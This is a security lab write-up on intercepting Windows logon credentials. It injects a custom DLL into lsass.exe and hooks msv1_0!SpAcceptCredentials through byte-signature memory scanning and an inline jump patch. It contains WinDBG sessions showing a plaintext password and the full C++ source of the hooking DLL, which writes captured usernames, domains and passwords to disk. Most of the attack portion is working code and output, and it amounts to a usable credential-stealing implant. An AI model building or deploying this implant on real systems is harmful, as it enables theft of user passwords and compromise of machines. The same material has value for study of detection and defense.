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Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
Hooking, Credential Stealing
This lab was inspired by @_xpn_ and his great post https://blog.xpnsec.com/exploring-mimikatz-part-2/ - definitely go read it if you haven't.
In this lab I am going to write a simple DLL that, when injected into lsass.exe, will install a hook for
msv1_0.SpAcceptCredentials routine, intercept logon credentials and write them out to disk.The purpose of this lab was for me to play around with:
- API hooking + intercepting logon credentials
- Programatically searching process memory space for byte patterns
- Ghidra / WinDBG
Not an OPSEC safe technique. Can be flagged for at least the following:
- LSASS loading unusual DLLs
WriteProcessMemoryAPI usage
Below is a high level overview of the lab and technique implementation:
- MSV1_0.dll is responsible for handling interactive logons
SpAcceptCredentialsinside MSV1_0.dll is called by the system when a user successfully authenticates interactively (i.e logon types 2, 10)SpAcceptCredentialsis passed clear text credentials- If we can hook the
SpAcceptCredentials, we can intercept those credentials SpAcceptCredentialsis not an exported function in the MSV1_0.dll, so we cannot useGetProcAddressto find its location in lsass process memory- In order to find
SpAcceptCredentialsin memory, we will need to:- signature it
- scan lsass.exe memory space (actually, for simplicity, just the range of
msv1_0.baseOfImage - msv1_0.sizeOfImage) for that signature
- Once
SpAcceptCredentialssignature is found, we will hook it by redirecting the originalSpAcceptCredentialsto our rogue functionhookedSpAccecptedCredentials hookedSpAccecptedCredentials, once called, will:- 1.Intercept the logon credentials and write them out to disk
- 2.Unhook
SpAcceptCredentials, so that the originalSpAcceptCredentialscan be called later, so that a user can successfully authenticate and get its logon session created without crashing lsass.exe - 3.Reinstall the hook
hookedSpAccecptedCredentialsby starting a new thread that will execute with a delay of a couple of seconds. Delay is there to allow for the originalSpAcceptCredentialsto finish executing before it gets patched again, otherwise we would end up in a never ending cycle whereSpAcceptCredentialswould be jump tohookedSpAccecptedCredentialsandhookedSpAccecptedCredentialswould callSpAcceptCredentialsas required in the step 4 - 4.Call the original
SpAcceptCredentialswith intercepted credentials so that the system can complete the user authentication / logon session creation successfully
First of, let's see if we can hit the breakpoint on
msv1_0!SpAcceptCredentials. For this, let's jump WinDBG and sort load the symbols for msv1_0 module if they are missing.Let's find the
EPROCESS structure for the lsass.exe:!process 0 0 lsass.exe
We can now switch the WinDBG to lsass.exe process's context:
.process /i /p /r ffffda8291281080
Listing modules loaded by lsass with command
lm shows that we do not have symbols for msv1_0.dll loaded:
...although the module itself is loaded:
Note that addresses differ due to a reboot
Let's load the missing symbols:
.reload /f /i msv1_0.dll
lm
We can confirm the symbols are now loaded:
Let's now set a breakpoint for
msv1_0!SpAcceptCredentials:bp msv1_0!SpAcceptCredentials
Finally, let's see if we can hit the breakpoint by trying to authenticate for a new logon session with a
runas command:
While we are at it, let's take a look at the start of the
msv1_0!SpAcceptCredentials routine before we patch it later - we will be replacing the first 12 bytes (mov rax + 8 byte address to hookedSpAccecptedCredentials routine + jmp rax) of this routine with a jump to our hookedSpAccecptedCredentials routine, that will be intercepting any new credentials passed to it:
Once the breakpoint is hit, we can inspect what arguments the
SpAcceptCredentials was called with.Considering that we know the following:
- On x64, Win APIs use a
fastcallcalling convention - the first 4 function arguments are passed via registers - Password - contains a plaintext password
- Domain name
- DownLevelName - user name
...we can now inspect the values and structures passed as shown below:
PSECPKG_PRIMARY_CRED structure and SpAcceptCredentials prototype
Note how we can identify the username
spotless, domain name - WS02 (my local machine name in this case) and the password in plaintext 123456.// db r8; dS r8+8; dS r8+8+10; dS r8+8+10+10
msv1_0!SpAcceptCredentials:
0033:00007ffb`95255330 48895c2408 mov qword ptr [rsp+8],rbx
kd> db r8
0000004b`c507dff0 03 dd 28 00 00 00 00 00-10 00 10 00 00 00 00 00 ..(.............
0000004b`c507e000 20 7a 8f 38 5d 01 00 00-08 00 08 00 00 00 00 00 z.8]...........
0000004b`c507e010 00 7e 8f 38 5d 01 00 00-0c 00 0c 00 00 00 00 00 .~.8]...........
0000004b`c507e020 b0 79 8f 38 5d 01 00 00-00 00 00 00 00 00 00 00 .y.8]...........
0000004b`c507e030 00 00 00 00 00 00 00 00-c0 a0 8e 38 5d 01 00 00 ...........8]...
0000004b`c507e040 01 00 00 0a 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000004b`c507e050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0000004b`c507e060 00 00 00 00 00 00 00 00-08 00 08 00 00 00 00 00 ................
kd> dS r8+8
0000015d`388f7a20 "spotless"
kd> dS r8+8+10
0000015d`388f7e00 "WS02"
kd> dS r8+8+10+10
0000015d`388f79b0 "123456"
Additionally, below shows that the value contained in the register
r8 holds a new logon session id that was created as part of a successful authentication via runas command:
As mentioned earlier, the
SpAcceptCredentialsis not exported in the msv1_0 DLL, so we cannot use Windows APIs to resolve its address in memory, therefore we need to find it ourselves by scanning the lsass process memory space.In order to do it, we need to find a sequence of bytes in the
SpAcceptCredentials routine, that uniquely identifies it. Per mimikatz's source code, we can use the following bytes for our signature:48 83 ec 20 49 8b d9 49 8b f8 8b f1 48
My msv1_0.dll is from x64 Windows 10, 1809
If we check the
msv1_0.dll in Ghidra, we indeed find our signature - 16 bytes into the SpAcceptCredentials function start:
We can also confirm the bytes are present when
SpAcceptCredentials breakpoint is hit, as expected:
We will pass this signature later to our memory hunting routine
GetPatternMemoryAddress(..., signature, ...) in our DLL, that will be injected into the lsass where it will identify the memory address of SpAcceptCredentials routine inside the lsass.exe process:
The signature will be passed on to the routine GetPatternMemoryAddress
Before we start looking under the hood of lsass.exe, there are a couple of other things to note.
Our compiled and injected DLL will immediately call
installSpAccecptedCredentialsHook once lsass.exe loads our malicious DLL with LoadLibrary:
installSpAccecptedCredentialsHook will:- wait for 5 seconds before proceeding - as explained earlier - this allows the original
SpAccecptedCredentialsto be called and finish its execution, before it gets patched again - find
SpAccecptedCredentialsmemory address based on the signature discussed earlier - lines 85-86 in the below screenshot - read and store the first 12 bytes of
SpAccecptedCredentialsin memory - these bytes will be used to restore the function to its original state / unpatch it - line 89 - overwrite the first 12 bytes of
SpAccecptedCredentialswith a jump to our rogue functionhookedSpAccecptedCredentialsthat will intercept any new user logon credentials - line 92-95
Assuming we've compiled the DLL, let's inject it into lsass. I will simply inject it with Process Hacker:
Let's now have a quick look inside the lsass.exe via WinDBG when
msv1_0!SpAcceptCredentials is called. If we break into lsass, we will see that our module
memssp-dll.dll is now loaded - line 23:// switch to lsass.exe process context
.process /i /p /r ffffab8f6ae0c080
// See lsass loaded modules through the PEB
!peb
kd> !peb
PEB at 0000004dbca27000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: No
ImageBaseAddress: 00007ff60cfe0000
NtGlobalFlag: 0
NtGlobalFlag2: 0
Ldr 00007ff9e09e53c0
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00000164b4403910 . 00000164b4afd140
Ldr.InLoadOrderModuleList: 00000164b4403a80 . 00000164b4afd120
Ldr.InMemoryOrderModuleList: 00000164b4403a90 . 00000164b4afd130
Base TimeStamp Module
7ff60cfe0000 d5aefa73 Aug 09 06:19:47 2083 C:\WINDOWS\system32\lsass.exe
<...cut...>
7ff9cb390000 5e2cbfd1 Jan 25 22:23:13 2020 \\VBOXSVR\Labs\CreateMiniDump\CreateMiniDump\x64\Release\memssp-dll.dll
SubSystemData: 0000000000000000
ProcessHeap: 00000164b4290000
ProcessParameters: 00000164b4403090
CurrentDirectory: 'C:\WINDOWS\system32\'
WindowTitle: 'C:\WINDOWS\system32\lsass.exe'
If we disassemble
msv1_0!SpAcceptCredentials, we will notice that the first few bytes of the routine are now different, compared to those we saw earlier before the DLL injection - this confirms the hook was installed:
routine start before and after the hook was installed
The first instructions of the hooked function now are:
These instructions came from the below code in our DLL.
mov rax instruction, where rax is the address of our hookedSpAccecptedCredentials:
and
jmp rax:
Now, if we remember that our malicious module's
memssp-dll.dll base address was 7FF9CB391000h and its size was 5e2cbfd1, it means that our module is mapped in the range [7FF9CB391000h, 7FF9CB391000+5e2cbfd1] => [0x7FF9CB391000, 0x00007ffa`2965cfd1]:
This means that
7FF9CB391000h as seen in the first instruction of the hooked SpAcceptCredentials routine, is part of our malicious module since it falls in the range [0x7FF9CB391000, 0x00007ffa`2965cfd1]:
Moving forward - note that after the trampoline to our rogue function, I've set the breakpoint on instruction
rbx, r9 at 7ff9b6955344:
If we hit the breakpoint
msv1_0!SpAcceptCredentials and and continue running, we immediately hit that second breakpoint at 7ff9b6955344, however, note that our trampoline mov rax, jmp rax is now gone:
This is because
hookedSpAccecptedCredentials (previously stored in rax) unhooked SpAccecptedCredentials by writing back 12 original bytes of SpAccecptedCredentials before it was hooked, to the start of SpAccecptedCredentials (orange) and redirected the code back to the start of SpAccecptedCredentials (lime), so that a new user logon session can be created:
Highlighted in blue is the code that actually intercepts the credentials and writes them to disk. Code in white is responsible for re-hooking the
SpAccecptedCredentials in a new delayed thread, so that the originalSpAcceptCredentials can finish executing without crashing the system.Below shows how user
spotless on a machine WS02 authenticates successfully and its credentials are written to c:\temp\credentials.txt:
Note that msv1_0 exports a function
LsaApLogonUserEx2 that we could have hooked to intercept credentials since it is also passed a structure PSECPKG_PRIMARY_CRED when a user attempts to authenticate. This lab, however, was focused on the exercise of finding the required function address by scanning the target process memory rather than resolving it via Windows APIs:
It's possible to resolve the
SpAcceptCredentials function address if we have access to debugging symbols like so:HMODULE targetModule = LoadLibraryA("msv1_0.dll");
PCSTR symbolName = "msv1_0!SpAcceptCredentials";
ULONG64 buffer[(sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR) + sizeof(ULONG64) - 1) / sizeof(ULONG64)] = {};
PSYMBOL_INFO symbol = (PSYMBOL_INFO)buffer;
symbol->SizeOfStruct = sizeof(SYMBOL_INFO);
symbol->MaxNameLen = MAX_SYM_NAME;
SymSetOptions(SYMOPT_EXACT_SYMBOLS);
SymInitialize(GetCurrentProcess(), "C:\\programdata\\dbg\\sym", TRUE);
SymFromName(GetCurrentProcess(), symbolName, symbol);
SpAcceptCredentialsHook.dll
#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
using _SpAcceptCredentials = NTSTATUS(NTAPI *)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
char startOfPatternSpAccecptedCredentials[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 };
char bytesToPatchSpAccecptedCredentials[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfSpAcceptCredentials = NULL;
char bytesToRestoreSpAccecptedCredentials[12] = { 0 };
void installSpAccecptedCredentialsHook();
PVOID GetPatternMemoryAddress(char *startAddress, char *pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
unsigned int index = 0;
PVOID patternAddress = NULL;
char
*patternByte = 0,
*memoryByte = 0;
do
{
if (startAddress[index] == pattern[0])
{
for (size_t i = 1; i < patternSize; i++)
{
*(char *)&patternByte = pattern[i];
*(char *)&memoryByte = startAddress[index + i];
if (patternByte != memoryByte)
{
break;
}
if (i == patternSize - 1)
{
patternAddress = (LPVOID)(&startAddress[index]);
return patternAddress;
}
}
}
++index;
} while (index < searchBytes);
return (PVOID)NULL;
}
NTSTATUS NTAPI hookedSpAccecptedCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
DWORD bytesWritten = 0;
HANDLE file = CreateFileW(L"c:\\temp\\credentials.txt", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);
_SpAcceptCredentials originalSpAcceptCredentials = (_SpAcceptCredentials)addressOfSpAcceptCredentials;
// intercept credentials and write them to disk
WriteFile(file, PrimaryCredentials->DownlevelName.Buffer, PrimaryCredentials->DownlevelName.Length, &bytesWritten, NULL);
WriteFile(file, "@", 2, &bytesWritten, NULL);
WriteFile(file, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials->DomainName.Length, &bytesWritten, NULL);
WriteFile(file, ":", 2, &bytesWritten, NULL);
WriteFile(file, PrimaryCredentials->Password.Buffer, PrimaryCredentials->Password.Length, &bytesWritten, NULL);
CloseHandle(file);
// unhook msv1_0!SpAcceptCredentials
WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToRestoreSpAccecptedCredentials, sizeof(bytesToRestoreSpAccecptedCredentials), NULL);
// hook msv1_0!SpAcceptCredentials again with a delay so that originalSpAcceptCredentials() can execute
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installSpAccecptedCredentialsHook, NULL, NULL, NULL);
// call original msv1_0!SpAcceptCredentials
return originalSpAcceptCredentials(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}
void installSpAccecptedCredentialsHook()
{
Sleep(1000 * 5);
HMODULE targetModule = LoadLibraryA("msv1_0.dll");
DWORD bytesWritten = 0;
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;
// find address of msv1_0!SpAcceptCredentials
patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char *)targetModule, startOfPatternSpAccecptedCredentials, sizeof(startOfPatternSpAccecptedCredentials), sizeOfImage);
addressOfSpAcceptCredentials = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials - 16);
// store first sizeof(bytesToRestoreSpAccecptedCredentials) bytes of the original msv1_0!SpAcceptCredentials routine
std::memcpy(bytesToRestoreSpAccecptedCredentials, addressOfSpAcceptCredentials, sizeof(bytesToRestoreSpAccecptedCredentials));
// hook msv1_0!SpAcceptCredentials with "mov rax, hookedSpAccecptedCredentials; jmp rax";
DWORD_PTR addressBytesOfhookedSpAccecptedCredentials = (DWORD_PTR)&hookedSpAccecptedCredentials;
std::memcpy(bytesToPatchSpAccecptedCredentials + 2, &addressBytesOfhookedSpAccecptedCredentials, sizeof(&addressBytesOfhookedSpAccecptedCredentials));
std::memcpy(bytesToPatchSpAccecptedCredentials + 2 + sizeof(&addressBytesOfhookedSpAccecptedCredentials), (PVOID)&"\xff\xe0", 2);
WriteProcessMemory(GetCurrentProcess(), addressOfSpAcceptCredentials, bytesToPatchSpAccecptedCredentials, sizeof(bytesToPatchSpAccecptedCredentials), (SIZE_T*)&bytesWritten);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
installSpAccecptedCredentialsHook();
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
